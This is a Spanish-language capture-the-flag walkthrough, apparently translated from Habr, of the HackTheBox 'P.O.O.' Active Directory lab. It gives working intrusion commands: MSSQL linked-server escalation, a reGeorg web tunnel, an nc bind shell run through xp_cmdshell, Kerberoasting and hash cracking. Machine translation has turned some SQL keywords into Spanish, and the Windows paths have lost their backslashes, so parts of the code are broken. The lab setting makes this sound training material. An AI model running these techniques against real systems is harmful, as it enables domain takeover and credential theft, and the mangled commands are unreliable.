HackTheBox endgame. Completar el laboratorio de Operaciones Ofensivas Profesionales. Pentesteo de Active Directory

En este artículo, abordaremos el recorrido no solo de una máquina, sino de todo un mini-laboratorio desde la plataforma. HackTheBox.

Como se dice en la descripción, P.O.O. está diseñado para evaluar habilidades en todas las etapas de ataques dentro de un entorno pequeño de Active Directory. El objetivo es comprometer un host disponible, elevar privilegios y, en última instancia, comprometer todo el dominio, recolectando 5 banderas en el camino.

La conexión al laboratorio se realiza a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host que contenga datos importantes para ti, ya que te unes a una red privada con personas que saben algo en el campo de la ciberseguridad 🙂.

Información organizativa
Para que puedan conocer nuevos artículos, software y otra información, he creado un canal en Telegram y un grupo para discutir cualquier pregunta en el área de seguridad informática. También consideraré personalmente y responderé a todas sus solicitudes, preguntas, propuestas y recomendaciones de forma individual..

Toda la información se presenta exclusivamente con fines educativos. El autor de este documento no asume ninguna responsabilidad por cualquier daño causado a cualquier persona como resultado del uso de los conocimientos y métodos adquiridos al estudiar este documento.

Intro

Este endgame consiste en dos máquinas y contiene 5 banderas.

También se proporciona una descripción y la dirección del host accesible.

¡Empecemos!

Recon flag

Esta máquina tiene la dirección IP 10.13.38.11, que añado a /etc/hosts.
10.13.38.11 poo.htb

Lo primero que hacemos es escanear los puertos abiertos. Como escanear todos los puertos con nmap es lento, primero haré esto con masscan. Escanearemos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

Ahora, para obtener información más detallada sobre los servicios que están funcionando en los puertos, lanzaremos un escaneo con la opción -A.

nmap -A poo.htb -p80,1433

De esta manera, tenemos servicios IIS y MSSQL. Además, descubrimos el verdadero nombre DNS del dominio y del ordenador. En el servidor web, nos recibe la página de inicio de IIS.

Procedamos a enumerar los directorios. Para esto, utilizo gobuster. En los parámetros indicamos el número de hilos 128 (-t), la URL (-u), el diccionario (-w) y las extensiones que nos interesan (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

Así, tenemos autenticación HTTP para el directorio /admin, así como un archivo de almacenamiento de servicio de escritorio disponible .DS_Store. .DS_Store son archivos que almacenan configuraciones personalizadas para carpetas, como listas de archivos, ubicaciones de iconos, imágenes de fondo elegidas. Dicho archivo puede terminar en el directorio del servidor web de los desarrolladores web. Por lo tanto, obtenemos información sobre el contenido del directorio. Para esto se puede utilizar DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

Obtenemos el contenido del catálogo. Lo más interesante aquí es el catálogo /dev, donde en dos ramas podemos ver el código fuente y los archivos de la base de datos. Pero podemos obtener los primeros 6 caracteres del nombre de archivos y directorios si el servicio es vulnerable a IIS ShortName. La vulnerabilidad se puede comprobar con Escáner de nombres cortos de IIS.

Y encontramos un archivo de texto que comienza con "poo_co". No sabiendo qué hacer a continuación, simplemente elegí del diccionario de directorios todas las palabras que comienzan con "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Y lo pasamos con wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

¡Y encontramos la palabra adecuada! Miramos este archivo, guardamos las credenciales (por el parámetro DBNAME, son de MSSQL).

Entregamos la bandera y avanzamos un 20%.

Huh bandera

Nos conectamos a MSSQL, yo uso DBeaver.

No encontramos nada interesante en esta base, así que vamos a crear un Editor SQL y verificar qué usuarios hay.

SELECT name FROM master..syslogins;

Tenemos dos usuarios. Vamos a verificar sus privilegios.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

De este modo, no hay privilegios. Vamos a ver los servidores relacionados, sobre esta metodología he escrito en detalle. aquí.

SELECT * FROM master..sysservers;

Así encontramos otro SQL Server. Verificamos la ejecución de comandos en este servidor con openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

E incluso podemos construir un árbol de consultas.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

El asunto es que cuando ejecutamos una consulta en el servidor vinculado, se ejecuta en el contexto de otro usuario. Vamos a ver en qué contexto estamos trabajando en el servidor vinculado.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

Ahora veamos en qué contexto se ejecutan las consultas desde el servidor vinculado a nuestro servidor.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

Por lo tanto, este es el contexto DBO, que debería tener todos los privilegios. Vamos a verificar los privilegios en el caso de una consulta desde el servidor vinculado.

SELECCIONAR * DE openquery("COMPATIBILITYPOO_CONFIG", 'SELECCIONAR * DE openquery("COMPATIBILITYPOO_PUBLIC", ''SELECCIONAR is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

Como se puede notar, ¡tenemos todos los privilegios! Creemos a nuestro administrador. Pero no lo permiten a través de openquery, hagámoslo mediante EXECUTE AT.

EJECUTAR('EJECUTAR(''CREAR INICIO DE SESIÓN [ralf] CON CONTRASEÑA=N''''ralfralf'''', BASE DE DATOS_DEFECTO=[master], COMPROBAR_EXPIRACIÓN=APAGADO, COMPROBAR_POLÍTICA=APAGADO'') EN "COMPATIBILITYPOO_PUBLIC"') EN "COMPATIBILITYPOO_CONFIG";
EJECUTAR('EJECUTAR(''CREAR USUARIO [ralf] PARA INICIO DE SESIÓN [ralf]'') EN "COMPATIBILITYPOO_PUBLIC"') EN "COMPATIBILITYPOO_CONFIG";
EJECUTAR('EJECUTAR(''ALTERAR ROL DEL SERVIDOR [sysadmin] AÑADIR MIEMBRO [ralf]'') EN "COMPATIBILITYPOO_PUBLIC"') EN "COMPATIBILITYPOO_CONFIG";
EJECUTAR('EJECUTAR(''ALTERAR ROL [db_owner] AÑADIR MIEMBRO [ralf]'') EN "COMPATIBILITYPOO_PUBLIC"') EN "COMPATIBILITYPOO_CONFIG";

Y ahora nos conectamos con las credenciales del nuevo usuario, observamos la nueva base de datos flag.

Entregamos esta bandera y seguimos adelante.

Bandera BackTrack

Obtendremos shell usando MSSQL, utilizo mssqlclient del paquete impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

Necesitamos obtener contraseñas, y lo primero con lo que ya nos hemos encontrado es con el sitio web. Así que necesitamos la configuración del servidor web (no parece posible lanzar un shell conveniente, aparentemente el firewall está funcionando).

Pero el acceso está prohibido. Aunque podemos leer archivos desde MSSQL, solo necesitamos saber qué lenguajes de programación están configurados. Y en el directorio de MSSQL descubrimos que hay Python.

Entonces, no hay ningún problema en leer el archivo web.config.

EJECUTAR sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

Con las credenciales obtenidas, ingresaremos a /admin y recogeremos la bandera.

Bandera Foothold

De hecho, hay algunas molestias al usar el firewall, pero revisando la configuración de la red, notamos que también hay un agujero en IPv6.

Agreguemos esta dirección en /etc/hosts.
dead:babe::1001 poo6.htb
Vamos a escanear el host nuevamente, pero ya por el protocolo IPv6.

Y por IPv6, el servicio WinRM está disponible. Nos conectaremos con las credenciales encontradas.

En el escritorio hay una bandera, la entregamos.

Bandera P00ned

Realizando reconocimiento en el host usando winpeas no encontramos nada especial. Entonces se tomó la decisión de buscar nuevamente credenciales (sobre este tema también escribí artículo). Pero no pude obtener todos los SPN del sistema a través de WinRM.

setspn.exe -T intranet.poo -Q *
/*

Hagamos que el comando se ejecute a través de MSSQL.

De esta manera obtenemos los SPN de los usuarios p00_hr y p00_adm, lo que significa que son vulnerables a un ataque como Kerberoasting. En resumen, podemos obtener los hashes de sus contraseñas.

Primero necesitamos obtener un shell estable como el usuario MSSQL. Pero dado que tenemos restricciones de acceso, solo podemos conectarnos al host a través de los puertos 80 y 1433. Sin embargo, hay una opción para hacer tunelización del tráfico a través del puerto 80. Para esto, utilizaremos la siguiente aplicación. Subiremos el archivo tunnel.aspx al directorio raíz del servidor web — C:inetpubwwwroot.

Pero al intentar acceder a él, obtenemos un error 404. Esto significa que los archivos *.aspx no se están ejecutando. Para que los archivos con esta extensión se puedan ejecutar, instalaremos ASP.NET 4.5 de la siguiente manera.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

Y ahora, al acceder a tunnel.aspx, recibimos una respuesta de que todo está listo para funcionar.

Vamos a iniciar la parte cliente de la aplicación, que se encargará de retransmitir el tráfico. Vamos a redirigir todo el tráfico del puerto 5432 al servidor.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

Y utilizamos proxychains para enviar el tráfico de cualquier aplicación a través de nuestro proxy. Agregamos este proxy al archivo de configuración /etc/proxychains.conf.

Ahora subimos al servidor el programa netcat, con el que conseguiremos un shell bind estable, y el script Invoke-Kerberoast, con el que realizaremos el ataque Kerberoasting.

Ahora lanzamos un listener a través de MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

Y nos conectamos a través de nuestro proxy.

proxychains rlwrap nc poo.htb 4321

Y ahora obtengamos los hashes.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

A continuación, necesitamos hacer un ataque de fuerza bruta a estos hashes. Dado que en el diccionario rockyou no había estas contraseñas, usé todos los diccionarios de contraseñas proporcionados en Seclists. Para ello, utilizamos hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Y encontramos ambas contraseñas, la primera en el diccionario dutch_passwordlist.txt, y la segunda en Keyboard-Combinations.txt.

Así que tenemos tres usuarios, vamos al controlador de dominio. Primero averiguamos su dirección.

Excelente, hemos identificado la dirección IP del controlador de dominio. Ahora, vamos a descubrir todos los usuarios del dominio, así como quién es el administrador. Para esto, cargaremos el script PowerView.ps1. Luego, nos conectaremos usando evil-winrm, especificando en el parámetro -s el directorio que contiene el script. Después simplemente cargaremos el script PowerView.

Ahora tenemos disponibles todas sus funciones. El usuario p00_adm parece tener privilegios, así que trabajaremos en su contexto. Crearemos un objeto PSCredential para este usuario.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ahora todos los comandos de PowerShell donde especifiquemos Creds se ejecutarán en nombre de p00_adm. Vamos a listar los usuarios y el atributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Así que, nuestro usuario realmente tiene privilegios. Veamos en qué grupos está incluido.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

Confirmamos que el usuario es administrador del dominio. Esto le otorga el derecho de acceso remoto al controlador de dominio. Intentemos ingresar a través de WinRM, utilizando nuestro túnel. Me confundieron los errores emitidos por reGeorg al usar evil-winrm.

Entonces, usemos otro método, más sencillo, el script para conectarnos a WinRM. Abriremos y cambiaremos los parámetros de conexión.

Intentamos conectar, y estamos dentro del sistema.

Pero no hay bandera. Entonces, revisemos al usuario y comprobemos los escritorios.

Encontramos la bandera en mr3ks y el laboratorio ha sido completado al 100%.

Eso es todo. Como retroalimentación, comenten — ¿aprendieron algo nuevo de este artículo y les resultó útil?

Pueden unirse a nosotros en Telegram. Allí se pueden encontrar materiales interesantes, cursos filtrados y también software. Vamos a construir una comunidad en la que haya personas expertas en diversas áreas de TI, así siempre podremos ayudarnos mutuamente con cualquier pregunta relacionada con TI y seguridad informática.

Fuente: habr.com